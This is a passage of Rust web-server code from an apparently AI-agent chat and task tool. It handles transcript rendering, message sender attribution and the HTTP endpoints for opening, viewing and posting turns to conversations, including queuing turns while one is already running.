9017                        accepted_at: None,
9018                        body: original.body.clone(),
9019                        display: Some(display),
9020                        recovery_event: None,
9021                        attachments: original.attachments.clone(),
9022                        reply: None,
9023                    });
9024                }
9025            } else {
9026                for (i, message) in turn.messages.iter_mut().enumerate() {
9027                    message.display =
9028                        talk::notice_display(&snapshot, original, original.messages.get(i));
9029                    if message.display.is_some() {
9030                        message.sender = Some(talk::Sender::Magi);
9031                    }
9032                }
9033            }
9034        }
9035        for message in &mut talk.pending_messages {
9036            if message.display.is_none()
9037                && (message.sender == Some(talk::Sender::Magi)
9038                    || snapshot
9039                        .completion_notices
9040                        .iter()
9041                        .any(|r| r.notice == message.body))
9042            {
9043                message.display = crate::prompt::legacy_notice_display(&message.body);
9044                if message.display.is_some() {
9045                    message.sender = Some(talk::Sender::Magi);
9046                }
9047            }
9048        }
9049        if talk.pending_messages.is_empty()
9050            && snapshot
9051                .completion_notices
9052                .iter()
9053                .any(|r| r.notice == talk.pending)
9054            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9055        {
9056            talk.pending_messages.push(talk::Message {
9057                sender: Some(talk::Sender::Magi),
9058                accepted_at: None,
9059                display: Some(display),
9060                recovery_event: None,
9061                body: talk.pending.clone(),
9062                attachments: talk.pending_attachments.clone(),
9063                reply: None,
9064            });
9065        }
9066        let excerpts: Vec<Vec<Option<String>>> = talk
9067            .turns
9068            .iter()
9069            .map(|turn| {
9070                turn.messages
9071                    .iter()
9072                    .map(|m| {
9073                        m.display
9074                            .as_ref()
9075                            .map(|d| d.facts.chars().take(240).collect())
9076                    })
9077                    .collect()
9078            })
9079            .collect();
9080        for turn in &mut talk.turns {
9081            let provenance = talk::sender(turn, None);
9082            turn.sender = Some(provenance);
9083            for message in &mut turn.messages {
9084                message.sender = Some(message.sender.unwrap_or(provenance));
9085            }
9086        }
9087        // Old reply snapshots have only a role; recover provenance from their target.
9088        let senders: Vec<Vec<talk::Sender>> = talk
9089            .turns
9090            .iter()
9091            .map(|turn| {
9092                if turn.messages.is_empty() {
9093                    vec![talk::sender(turn, None)]
9094                } else {
9095                    turn.messages
9096                        .iter()
9097                        .map(|m| talk::sender(turn, Some(m)))
9098                        .collect()
9099                }
9100            })
9101            .collect();
9102        for reply in talk
9103            .turns
9104            .iter_mut()
9105            .flat_map(|t| t.messages.iter_mut())
9106            .chain(talk.pending_messages.iter_mut())
9107            .filter_map(|m| m.reply.as_mut())
9108        {
9109            if let Some(Some(excerpt)) = excerpts
9110                .get(reply.target.turn)
9111                .and_then(|ms| ms.get(reply.target.message))
9112            {
9113                reply.excerpt = excerpt.clone();
9114                reply.sender = Some(talk::Sender::Magi);
9115            }
9116            if reply.sender.is_none() {
9117                reply.sender = senders
9118                    .get(reply.target.turn)
9119                    .and_then(|messages| messages.get(reply.target.message))
9120                    .copied();
9121            }
9122        }
9123        let context = talk::context_usage(&talk, cfg);
9124        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9125            .turns
9126            .iter()
9127            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9128            .collect();
9129        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9130            .turns
9131            .iter()
9132            .map(|turn| {
9133                if turn.messages.is_empty() {
9134                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9135                } else {
9136                    turn.messages
9137                        .iter()
9138                        .map(|message| {
9139                            notice_markdown(
9140                                message.sender.unwrap_or(talk::Sender::Operator),
9141                                &message.body,
9142                                message.display.as_ref(),
9143                            )
9144                        })
9145                        .collect()
9146                }
9147            })
9148            .collect();
9149        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9150            .pending_messages
9151            .iter()
9152            .map(|message| {
9153                notice_markdown(
9154                    message.sender.unwrap_or(talk::Sender::Operator),
9155                    &message.body,
9156                    message.display.as_ref(),
9157                )
9158            })
9159            .collect();
9160        for nodes in &mut turn_bodies_md {
9161            references.markdown(nodes);
9162        }
9163        for nodes in turn_messages_md
9164            .iter_mut()
9165            .flatten()
9166            .chain(pending_messages_md.iter_mut())
9167            .flatten()
9168        {
9169            references.markdown(nodes);
9170        }
9171        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9172        let persona_name = persona::find(specs, &talk.persona)
9173            .filter(|p| !p.is_default())
9174            .map(|p| p.name);
9175        let mut avatar_persona = persona::find(specs, &talk.persona)
9176            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9177        // A removed configured persona may still have an override and old talks.
9178        if avatar_persona.id != talk.persona
9179            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9180        {
9181            avatar_persona.id.clone_from(&talk.persona);
9182            avatar_persona.icon = None;
9183        }
9184        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9185        let approvals_store = ask::Questions::at(home.join("questions"));
9186        let merge_approvals = talk
9187            .notified
9188            .iter()
9189            .filter_map(|key| key.strip_prefix("question:"))
9190            .filter_map(|id| approvals_store.get(id).ok())
9191            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9192            .filter_map(|q| {
9193                Some(ChatApproval {
9194                    question: q.id,
9195                    target: q.merge_target?,
9196                })
9197            })
9198            .collect();
9199        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9200        Self {
9201            turn_bodies_md,
9202            turn_messages_md,
9203            pending_messages_md,
9204            merge_approvals,
9205            thinking,
9206            context,
9207            operator_name,
9208            persona_name,
9209            persona_avatar,
9210            magi_avatar: magi_icon_url(home),
9211            operator_avatar: operator_icon_url(home),
9212            talk,
9213        }
9214    }
9215}
9216
9217/// Parse only the user-facing representation of an explicitly identified MAGI send.
9218fn notice_markdown(
9219    sender: talk::Sender,
9220    body: &str,
9221    display: Option<&crate::prompt::NoticeDisplay>,
9222) -> Option<Vec<md::Node>> {
9223    if sender != talk::Sender::Magi {
9224        return None;
9225    }
9226    let text = if let Some(display) = display {
9227        display.facts.as_str()
9228    } else {
9229        // Unknown completion templates may contain internal directives. Never
9230        // promote their agent input to the Markdown display surface.
9231        if crate::prompt::is_completion_notice(body)
9232            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9233        {
9234            return None;
9235        }
9236        body.strip_prefix("magi: ").unwrap_or(body)
9237    };
9238    Some(md::to_nodes(text, &md::ImageBase::None))
9239}
9240
9241/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9242/// conversation has filed, so the phone can follow one from inside the
9243/// conversation that asked for it rather than hunting the Queue for a task id
9244/// it may not remember.
9245#[derive(Debug, Serialize)]
9246struct TalkDetailView {
9247    #[serde(flatten)]
9248    view: TalkView,
9249    tasks: Vec<TaskView>,
9250    task_progress: TalkTaskProgress,
9251    goal_link: Option<TalkGoalLink>,
9252    goal_link_for: Timestamp,
9253    /// The agents this talk's repository can switch to; empty when its
9254    /// configuration cannot be read, which must not fail the whole detail.
9255    roster: Vec<RosterEntry>,
9256    /// The personas the conversation can pick from. The built-ins are always
9257    /// listed, even when the repository's configuration cannot be read.
9258    personas: Vec<PersonaEntry>,
9259}
9260
9261/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9262#[derive(Debug, Serialize)]
9263struct TalkTaskProgress {
9264    state: &'static str,
9265    total: usize,
9266    done: usize,
9267    counts: std::collections::BTreeMap<&'static str, usize>,
9268    unfinished_ids: Vec<String>,
9269}
9270
9271fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9272    let mut counts = std::collections::BTreeMap::from([
9273        ("queued", 0),
9274        ("running", 0),
9275        ("done", 0),
9276        ("failed", 0),
9277        ("held", 0),
9278        ("blocked", 0),
9279        ("parked", 0),
9280    ]);
9281    let mut unfinished_ids = Vec::new();
9282    for task in tasks {
9283        *counts.entry(task.status.as_str()).or_default() += 1;
9284        if task.status != TaskStatus::Done {
9285            unfinished_ids.push(task.id.clone());
9286        }
9287    }
9288    TalkTaskProgress {
9289        state: if tasks.is_empty() {
9290            "none"
9291        } else if unfinished_ids.is_empty() {
9292            "complete"
9293        } else {
9294            "incomplete"
9295        },
9296        total: tasks.len(),
9297        done: tasks.len() - unfinished_ids.len(),
9298        counts,
9299        unfinished_ids,
9300    }
9301}
9302
9303/// Prefer a referenced task's current Run or Task, then an explicitly
9304/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9305#[derive(Debug, Serialize)]
9306struct TalkGoalLink {
9307    goal: String,
9308    kind: &'static str,
9309    id: String,
9310}
9311
9312fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9313    let goal = crate::chat_goal::Goal::selected(talk)?;
9314    let repo = goal.effective_repo(&talk.repo);
9315    let valid_run = |id: &str| {
9316        plain_record_id(id)
9317            && read_run(runs, id).is_ok_and(|state| {
9318                state.id == id
9319                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9320            })
9321    };
9322    for id in goal.tasks.iter().rev() {
9323        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9324            continue;
9325        };
9326        // Repository reassignments retain historical runs. Only this task's
9327        // current execution can be presented as the goal's current Run.
9328        if let Some(run) = task.execution_runs().last()
9329            && valid_run(run)
9330        {
9331            return Some(TalkGoalLink {
9332                goal: goal.id.clone(),
9333                kind: "run",
9334                id: run.clone(),
9335            });
9336        }
9337        return Some(TalkGoalLink {
9338            goal: goal.id.clone(),
9339            kind: "task",
9340            id: task.id,
9341        });
9342    }
9343    for id in goal.runs.iter().rev() {
9344        if valid_run(id) {
9345            return Some(TalkGoalLink {
9346                goal: goal.id.clone(),
9347                kind: "run",
9348                id: id.clone(),
9349            });
9350        }
9351    }
9352    None
9353}
9354
9355/// One persona as the talk's persona selector shows it.
9356#[derive(Debug, Serialize)]
9357struct PersonaEntry {
9358    id: String,
9359    name: String,
9360    /// Avatar URL, see [`TalkView::persona_avatar`].
9361    avatar: String,
9362}
9363
9364/// One roster agent as the talk's agent selector shows it.
9365#[derive(Debug, Serialize)]
9366struct RosterEntry {
9367    id: String,
9368    kind: AgentKind,
9369    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9370    runnable: bool,
9371}
9372
9373/// Bounded summaries; `/page` carries a cursor for older membership.
9374async fn talks_list(
9375    State(ui): State<Arc<Ui>>,
9376    Query(q): Query<ListQuery>,
9377    headers: header::HeaderMap,
9378) -> ApiResult<Json<Vec<TalkListView>>> {
9379    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9380        let limit = q.limit.unwrap_or(50).min(50);
9381        let ids = if let Some(ids) = q.ids {
9382            ids.split(',')
9383                .filter(|id| plain_record_id(id))
9384                .take(limit)
9385                .map(str::to_owned)
9386                .collect()
9387        } else {
9388            page_ids(&ui, true, PageQuery::default())?
9389                .0
9390                .into_iter()
9391                .take(limit.min(STORE_PAGE_SIZE))
9392                .collect()
9393        };
9394        Ok(Json(talk_rows(&ui, ids, &headers)))
9395    })
9396    .await
9397}
9398
9399/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9400/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9401/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9402/// end still opens a talk against an older binary.
9403#[derive(Debug, Default, Deserialize)]
9404#[serde(default)]
9405struct NewTalk {
9406    agent: Option<String>,
9407    repo: Option<PathBuf>,
9408    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9409    /// wrong type is dropped like a stale value instead of failing the request;
9410    /// each falls back to its default on its own (see [`talk::begin_with`]).
9411    preferred_agent: Option<serde_json::Value>,
9412    persona: Option<serde_json::Value>,
9413    implementers: Option<serde_json::Value>,
9414}
9415
9416/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9417/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9418async fn talk_post(
9419    State(ui): State<Arc<Ui>>,
9420    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9421) -> ApiResult<impl IntoResponse> {
9422    // An absent body, or an empty one, is the normal way to open a talk - see
9423    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9424    // rather than refused.
9425    let body = match body {
9426        Ok(Json(body)) => body,
9427        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9428        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9429    };
9430    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9431    let cfg = config_for(&repo).await?;
9432    let view = blocking(move || {
9433        let preferred = talk::Preferred {
9434            agent: body
9435                .preferred_agent
9436                .as_ref()
9437                .and_then(|v| v.as_str())
9438                .map(str::to_owned),
9439            persona: body
9440                .persona
9441                .as_ref()
9442                .and_then(|v| v.as_str())
9443                .map(str::to_owned),
9444            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9445        };
9446        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9447        let thinking = ui.is_thinking(&talk.id);
9448        Ok(TalkView::new(talk, thinking, &ui))
9449    })
9450    .await?;
9451    Ok((StatusCode::CREATED, Json(view)))
9452}
9453
9454/// Transcript first: unrelated queue history and repository probes are deferred.
9455async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9456    // Keep transcript reads independent of sections and the runtime blocking pool.
9457    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9458        let id = resolve_talk(&ui.talks, &id)?;
9459        let talk = ui.talks.get(&id)?;
9460        let thinking = ui.is_thinking_observed(&id);
9461        // The browser already resolves Markdown text/code references after
9462        // rendering. A cold reference/review index must not gate the transcript.
9463        Ok(Json(TalkView::with_references(
9464            talk,
9465            thinking,
9466            None,
9467            &ui.home,
9468            &id_links::IdIndex::default(),
9469        )))
9470    })
9471    .await
9472}
9473
9474async fn talk_sections(
9475    State(ui): State<Arc<Ui>>,
9476    Path(id): Path<String>,
9477) -> ApiResult<Json<serde_json::Value>> {
9478    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9479        let id = resolve_talk(&ui.talks, &id)?;
9480        let talk = ui.talks.get(&id)?;
9481        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9482        let task_progress = talk_task_progress(&tasks);
9483        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9484        let tasks: Vec<_> = tasks
9485            .into_iter()
9486            .map(|task| {
9487                serde_json::json!({
9488                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9489                })
9490            })
9491            .collect();
9492        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9493        let roster: Vec<_> = cfg
9494            .as_ref()
9495            .map(|cfg| {
9496                cfg.agents
9497                    .iter()
9498                    .map(|a| RosterEntry {
9499                        id: a.id.clone(),
9500                        kind: a.kind,
9501                        runnable: agent::installed(a),
9502                    })
9503                    .collect()
9504            })
9505            .unwrap_or_default();
9506        let specs = cfg
9507            .as_ref()
9508            .map(|cfg| cfg.talk.personas.clone())
9509            .unwrap_or_default();
9510        let personas: Vec<_> = persona::catalog(&specs)
9511            .into_iter()
9512            .map(|p| PersonaEntry {
9513                avatar: avatar_url(&ui.home, &talk.id, &p),
9514                id: p.id,
9515                name: p.name,
9516            })
9517            .collect();
9518        let active_persona = persona::find(&specs, &talk.persona)
9519            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9520        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9521        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9522        Ok(Json(serde_json::json!({
9523            "tasks": tasks, "task_progress": task_progress,
9524            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9525            "roster": roster, "personas": personas,
9526            "context": talk::context_usage(&talk, cfg.as_ref()),
9527            "context_for": talk.updated_at,
9528            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9529            "persona_name": persona_name,
9530            "persona_avatar": persona_avatar,
9531        })))
9532    })
9533    .await
9534}
9535
9536/// `GET /api/talks/{id}`.
9537async fn talk_detail(
9538    State(ui): State<Arc<Ui>>,
9539    Path(id): Path<String>,
9540) -> ApiResult<Json<TalkDetailView>> {
9541    blocking(move || {
9542        let id = resolve_talk(&ui.talks, &id)?;
9543        let talk = ui.talks.get(&id)?;
9544        let thinking = ui.is_thinking_observed(&talk.id);
9545        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9546        let task_progress = talk_task_progress(&tasks);
9547        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9548        let goal_link_for = talk.updated_at;
9549        let tasks = tasks.into_iter().map(TaskView::from).collect();
9550        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9551        let roster = cfg
9552            .as_ref()
9553            .map(|cfg| {
9554                cfg.agents
9555                    .iter()
9556                    .map(|a| RosterEntry {
9557                        id: a.id.clone(),
9558                        kind: a.kind,
9559                        runnable: agent::installed(a),
9560                    })
9561                    .collect()
9562            })
9563            .unwrap_or_default();
9564        let specs = cfg
9565            .as_ref()
9566            .map(|cfg| cfg.talk.personas.clone())
9567            .unwrap_or_default();
9568        let personas = persona::catalog(&specs)
9569            .into_iter()
9570            .map(|p| PersonaEntry {
9571                avatar: avatar_url(&ui.home, &talk.id, &p),
9572                id: p.id,
9573                name: p.name,
9574            })
9575            .collect();
9576        Ok(Json(TalkDetailView {
9577            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9578            tasks,
9579            task_progress,
9580            goal_link,
9581            goal_link_for,
9582            roster,
9583            personas,
9584        }))
9585    })
9586    .await
9587}
9588
9589/// The body of `POST /api/talks/{id}/say`.
9590///
9591/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9592/// returned - never bytes of its own - so a turn with no images just omits
9593/// the field, which is what an older front end still does.
9594#[derive(Debug, Default, Deserialize)]
9595#[serde(default, deny_unknown_fields)]
9596struct NewTalkTurn {
9597    reply_to: Option<talk::ReplyTarget>,
9598    text: String,
9599    attachments: Vec<String>,
9600}
9601
9602#[derive(Debug, Deserialize)]
9603#[serde(deny_unknown_fields)]
9604struct EditTalkPending {
9605    #[serde(default)]
9606    message: Option<usize>,
9607    text: String,
9608    expected_text: String,
9609    expected_attachments: Vec<String>,
9610}
9611
9612#[derive(Debug, Deserialize)]
9613#[serde(deny_unknown_fields)]
9614struct ClearTalkPending {
9615    expected_text: String,
9616    expected_attachments: Vec<String>,
9617}
9618
9619/// `POST /api/talks/{id}/say` - one turn of the conversation.
9620///
9621/// Not filesystem work, and therefore not routed through [`blocking`]: this
9622/// route spawns an agent CLI and a turn here can run for the whole of
9623/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9624/// research turn is expected to run commands rather than answer from what it
9625/// already knows. Holding an HTTP connection open that long is not a thing
9626/// to ask a phone to do; the operator's message is recorded and answered for
9627/// immediately, and the reply lands in the background, discovered through
9628/// the change stream's `talks_rev` the same way every other update on this
9629/// surface is.
9630async fn talk_say(
9631    State(ui): State<Arc<Ui>>,
9632    Path(id): Path<String>,
9633    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9634) -> ApiResult<(StatusCode, Json<TalkView>)> {
9635    let admission = ui.begin_admission()?;
9636    admitted(admission, async move {
9637    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9638    if body.text.trim().is_empty() && body.attachments.is_empty() {
9639        return Err(ApiError::bad_request("say something"));
9640    }
9641
9642    let id = {
9643        let ui = Arc::clone(&ui);
9644        let asked = id.clone();
9645        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9646    };
9647    // A closed Talk never accepts a new immediate or queued turn. Check this
9648    // before claiming a slot so its ordinary domain refusal is a 409, not an
9649    // incidental failure from the later record/queue write.
9650    {
9651        let ui = Arc::clone(&ui);
9652        let id = id.clone();
9653        blocking(move || {
9654            let talk = ui.talks.get(&id)?;
9655            if !talk.status.open() {
9656                return Err(ApiError::conflict(format!(
9657                    "talk {} is {} and takes no more turns",
9658                    talk.short(),
9659                    talk.status.as_str()
9660                )));
9661            }
9662            Ok(())
9663        })
9664        .await?;
9665    }
9666
9667    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9668    // actually stores, before anything is written - an unknown id is a 4xx
9669    // that names it rather than a turn (or a queued draft) silently missing
9670    // an image.
9671    let attachments = {
9672        let ui = Arc::clone(&ui);
9673        let id = id.clone();
9674        let ids = body.attachments.clone();
9675        blocking(move || {
9676            ids.into_iter()
9677                .map(|att_id| {
9678                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9679                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9680                    })
9681                })
9682                .collect::<ApiResult<Vec<talk::Attachment>>>()
9683        })
9684        .await?
9685    };
9686    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9687        .await.map_err(ApiError::from)?;
9688
9689    // Pending recovery and a new immediate turn are decided under the same
9690    // claim lock. Without that one critical section, a second `/say` can see
9691    // the first request's claim as "busy" and append itself to the recovered
9692    // draft before the first request rejects it.
9693    let start = {
9694        let ui = Arc::clone(&ui);
9695        let id = id.clone();
9696        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9697    };
9698    let turn_guard = match start {
9699        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9700        TalkTurnStart::Pending => {
9701            return Err(ApiError::conflict(
9702                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9703            ));
9704        }
9705        TalkTurnStart::Foreign => {
9706            return Err(ApiError::conflict(
9707                "a turn is already running in another process; try again when it has finished",
9708            ));
9709        }
9710        TalkTurnStart::Busy => {
9711            // A turn is already running: queue rather than refuse. See
9712            // `Ui::begin_talk_turn` and `talk::queue`.
9713            //
9714            // The queue write and the drain it may owe live inside the task
9715            // `tokio::spawn` hands to the runtime, for the same reason the
9716            // immediate path below puts `record` there: a dropped handler
9717            // future must not be able to land between a durable write and
9718            // the task that answers it. `blocking` runs its closure on
9719            // `spawn_blocking`, which finishes whether or not anyone is left
9720            // to receive its result - so a disconnect at the `.await` below
9721            // would otherwise leave the draft persisted and the reclaimed
9722            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9723            // ever started and the queued text stranded until some later
9724            // `say` happened to pick it up. The caller's 202 travels back
9725            // over a `oneshot`, sent the moment the write lands.
9726            let (tx, rx) = tokio::sync::oneshot::channel();
9727            tokio::spawn({
9728                let ui = Arc::clone(&ui);
9729                let id = id.clone();
9730                let said = body.text.clone();
9731                let reply_to = body.reply_to.clone();
9732                async move {
9733                    let written = blocking({
9734                        let ui = Arc::clone(&ui);
9735                        let id = id.clone();
9736                        move || {
9737                            let mut talk = ui.talks.get(&id)?;
9738                            // A test-only stop point, right before the write
9739                            // an interleaving test needs to pin - see
9740                            // `BusyQueueGate`. `None` in every real server:
9741                            // the field only exists under `#[cfg(test)]`.
9742                            #[cfg(test)]
9743                            if let Some(gate) = ui
9744                                .busy_queue_gate
9745                                .lock()
9746                                .unwrap_or_else(PoisonError::into_inner)
9747                                .take()
9748                            {
9749                                let _ = gate.reached.send(());
9750                                let _ = gate.release.recv();
9751                            }
9752                            if let Err(error) = talk::queue_reply(
9753                                &mut talk,
9754                                &ui.talks,
9755                                &said,
9756                                attachments,
9757                                reply_to,
9758                            ) {
9759                                if let Ok(fresh) = ui.talks.get(&id) {
9760                                    if !fresh.status.open() {
9761                                        return Err(ApiError::conflict(format!(
9762                                            "talk {} is {} and takes no more turns",
9763                                            fresh.short(),
9764                                            fresh.status.as_str()
9765                                        )));
9766                                    }
9767                                }
9768                                return Err(
9769                                    if error.to_string().contains("invalid reply target") {
9770                                        ApiError::bad_request("invalid reply target")
9771                                    } else {
9772                                        ApiError::from(error)
9773                                    },
9774                                );
9775                            }
9776                            // The turn that looked busy a moment ago can have
9777                            // finished, found nothing to drain and given up the
9778                            // slot in the gap between that check and this write
9779                            // landing - see `drain_loop`'s own doc for the other
9780                            // half of why that gap would otherwise be able to
9781                            // open at all. Reclaiming the slot here, rather than
9782                            // trusting that whoever held it is still watching, is
9783                            // what stops the text just queued from being stranded
9784                            // until an unrelated future `say` happens to drain
9785                            // it.
9786                            let claim = match ui.begin_queued_talk_turn(&id)? {
9787                                Some(turn_guard) => {
9788                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9789                                    Some((talk.clone(), cfg, turn_guard))
9790                                }
9791                                None => None,
9792                            };
9793                            let thinking = ui.is_thinking(&id);
9794                            Ok((TalkView::new(talk, thinking, &ui), claim))
9795                        }
9796                    })
9797                    .await;
9798                    #[cfg(not(test))]
9799                    {
9800                        match written {
9801                            Ok((view, reclaimed)) => {
9802                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9803                                drop(reclaimed);
9804                                match launched {
9805                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9806                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9807                                }
9808                            }
9809                            Err(error) => { let _ = tx.send(Err(error)); }
9810                        }
9811                    }
9812                    #[cfg(test)]
9813                    {
9814                    let (view, reclaimed) = match written {
9815                        Ok(pair) => pair,
9816                        Err(e) => {
9817                            // Nobody is listening if the handler's own future
9818                            // was already dropped - that is fine, nothing was
9819                            // persisted and there is no response left to carry
9820                            // this error to.
9821                            let _ = tx.send(Err(e));
9822                            return;
9823                        }
9824                    };
9825                    // If this fails, the caller is gone; the drain below still
9826                    // runs exactly as it would have for a caller that stayed.
9827                    let _ = tx.send(Ok(view));
9828                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9829                        let talks = ui.talks.clone();
9830                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9831                    }
9832                    }
9833                }
9834            });
9835            let view = rx
9836                .await
9837                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9838            return Ok((StatusCode::ACCEPTED, Json(view)));
9839        }
9840    };
9841
9842    let (talk, cfg) = {
9843        let ui = Arc::clone(&ui);
9844        let id = id.clone();
9845        blocking(move || {
9846            let talk = ui.talks.get(&id)?;
9847            let (cfg, _) = Config::discover(&talk.repo, None)?;
9848            Ok((talk, cfg))
9849        })
9850        .await?
9851    };
9852
9853    let talks = ui.talks.clone();
9854    // `record` runs *inside* the spawned task, rather than in this handler
9855    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9856    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9857    // doc), and that drop can land at any `.await` this function makes,
9858    // including one that has already produced its result but not yet
9859    // resumed. A message could end up recorded on disk with the handler
9860    // future gone before it ever reached the `tokio::spawn` that would have
9861    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9862    // that hands the whole future to the runtime as one unit - once made, no
9863    // later drop of *this* handler's own future (that call's return value is
9864    // never held onto here) can reach back in and stop it, so record and the
9865    // hand-off to `respond` are unconditionally atomic from the client's
9866    // point of view. The immediate response this handler owes the caller
9867    // travels back over a `oneshot`, sent the moment `record` succeeds.
9868    let (tx, rx) = tokio::sync::oneshot::channel();
9869    tokio::spawn({
9870        #[cfg(test)]
9871        let ui = Arc::clone(&ui);
9872        let talks = talks.clone();
9873        let id = id.clone();
9874        let said = body.text.clone();
9875        let reply_to = body.reply_to.clone();
9876        let mut talk = talk.clone();
9877        async move {
9878            let recorded = blocking({
9879                let talks = talks.clone();
9880                move || {
9881                    if let Err(error) =
9882                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9883                    {
9884                        if let Ok(fresh) = talks.get(&talk.id) {
9885                            if !fresh.status.open() {
9886                                return Err(ApiError::conflict(format!(
9887                                    "talk {} is {} and takes no more turns",
9888                                    fresh.short(),
9889                                    fresh.status.as_str()
9890                                )));
9891                            }
9892                        }
9893                        return Err(if error.to_string().contains("invalid reply target") {
9894                            ApiError::bad_request("invalid reply target")
9895                        } else {
9896                            ApiError::from(error)
9897                        });
9898                    }
9899                    // `record` mutates `talk` in place to the freshly persisted
9900                    // state (status, pending, and the just-appended operator
9901                    // turn), so returning it here is equivalent to re-reading it
9902                    // from disk - without the extra round trip a re-read would
9903                    // need.
9904                    Ok((said.trim().to_owned(), talk))
9905                }
9906            })
9907            .await;
9908            let (text, talk) = match recorded {
9909                Ok(pair) => pair,
9910                Err(e) => {
9911                    // Nobody is listening if the handler's own future was
9912                    // already dropped - that is fine, there is no response
9913                    // left to carry this error to and nothing was persisted.
9914                    let _ = tx.send(Err(e));
9915                    return;
9916                }
9917            };
9918            #[cfg(not(test))]
9919            {
9920                let _ = (&cfg, &text);
9921                // The reservation becomes durable while this process still
9922                // holds the talk lease. The child waits for that lease; the
9923                // new UI sees its startup reservation immediately.
9924                let result = crate::chat_worker::spawn_recorded_turn(
9925                    &talks, &id, talk.turns.len() - 1,
9926                ).await;
9927                drop(turn_guard);
9928                match result {
9929                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9930                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9931                }
9932            }
9933            #[cfg(test)]
9934            {
9935            let queued = talk.clone();
9936            let mut talk = talk;
9937            let thinking = ui.is_thinking(&id);
9938            // If this fails, the caller is gone; the turn still runs below
9939            // exactly as it would have for a caller that stayed connected.
9940            let _ = tx.send(Ok((queued, thinking)));
9941
9942            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9943                // `respond` records the failure in the transcript itself,
9944                // which is what the phone reads; this line is for the
9945                // operator's terminal.
9946                tracing::warn!("talk {id} turn failed: {e:#}");
9947            }
9948            // Anything `talk::queue` added while the turn above was running
9949            // is still owed an answer - see `drain_loop`.
9950            drain_loop(talk, talks, cfg, id, turn_guard).await;
9951            }
9952        }
9953    });
9954
9955    let (queued, thinking) = rx
9956        .await
9957        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9958
9959    // 202: the operator's message is recorded and a turn is running.
